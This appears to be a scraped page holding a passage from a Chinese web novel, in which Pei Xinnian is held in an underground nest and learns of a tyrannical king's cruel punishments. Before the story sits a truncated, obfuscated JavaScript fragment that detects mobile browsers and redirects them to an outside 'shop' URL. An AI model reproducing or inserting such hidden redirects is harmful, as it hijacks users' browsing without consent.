d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121789|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”林木抢答,果不其然迎来了旁边两人的白眼。 “你不怕死?” 苍白青年用看死人的眼神瞥了莽撞的林木一眼,惋惜地摇摇头。 不至于吧。 毕竟上一关还是好友呢。 裴心念想着,却见林木脸上的血色褪去,他张了张口,欲言又止。 “?” 她在软椅上直起身来,满肚子问号,目光逡巡一遭,三人都躲开了她的视线。 裴心念不免更加奇怪。 巢穴四周的岩孔墙体如同有了生命一般,以方才打开的位置为中心,旋转移动了半圈。 裴心念盯着脚底下换了个地盘的死去白卵,有股恶寒的阴气从尾椎直往上升。 比极夜之地还不如,怎么这会儿这么冷。 她身前的三人反应却迥异,等待移位结束后,齐齐劫后余生一般,长出一口气。 “全面监视暂停了。”林木怕她不理解,连连打手势,见缝插针地解释。 苍白青年这次也投过去不赞同的目光,不过却没有像方才一样出言阻止。 看来他也觉得现在危险解除,说话可以随便一些。 “你们每天都这样,不累吗?”裴心念倒没有继续追问下去,以这三个小怪物神经紧绷的程度,在危险边缘试探显然不是上策。 还是来点放松身心的寒暄比较好。 “比在陆地上轻松多了。” 说话的是那个脸上有疤的男子。 看来她还真是身处卡斯特拉的地下。 “只要别让王发怒就好。”苍白青年搭腔,试图劝说裴心念,“您之后也要注意些。” 她挑挑眉,听起来方衡是个暴君呢。 “他脸上这道伤就是……”苍白青年见她不当回事,指了指旁边人脸上的可怖伤疤,言尽于此。 裴心念被提醒,倒是想起来再近距离端详这脸。 远看只是把脸分成左右两边的面具裂痕,但眯着眼仔细观察,会发现痕迹的边缘有无数不规则的毛刺状起伏。 她原以为是什么利器一刀划下去造成的伤口,现在看来并非如此简单。 “我没有尽全力阻拦想要逃出去的犯人。”对方被她看着,表情依然空白,仿佛在陈述事不关己的罪证,没有任何波澜,“所有背叛都必须记录。” 裴心念皱了皱眉,这反应比她做的智械都不像人,没有基本的情绪起伏,没有基本的是非判断。 她看看对方空洞的脸,又低头看看满地的白卵。 一个不太美妙的猜想浮上脑海,裴心念头一次如此痛恨自己的联想能力。 伤口边缘的毛刺,不会是放虫子进去啮咬出来的吧……? “王让她过去观礼。” 疑似被虫蛀空脑子的人对她开口,简直是一个最称职的传声筒。 苍白青年和林木倒是同时噤声,垂头过来,一左一右将裴心念身后的软椅抬起。 裴心念咬了咬牙,修改器对卡斯特拉雨林的分析正在进一步加载,随着她行动的范围扩大也会相应增加,眼下如果能离开这个密不透风的地方,当然是好。 可经过这一番折腾,就是傻子也知道这里的监管和刑罚都十分严苛,拉她过去观什么礼呢? 她不是很想晚上做噩梦。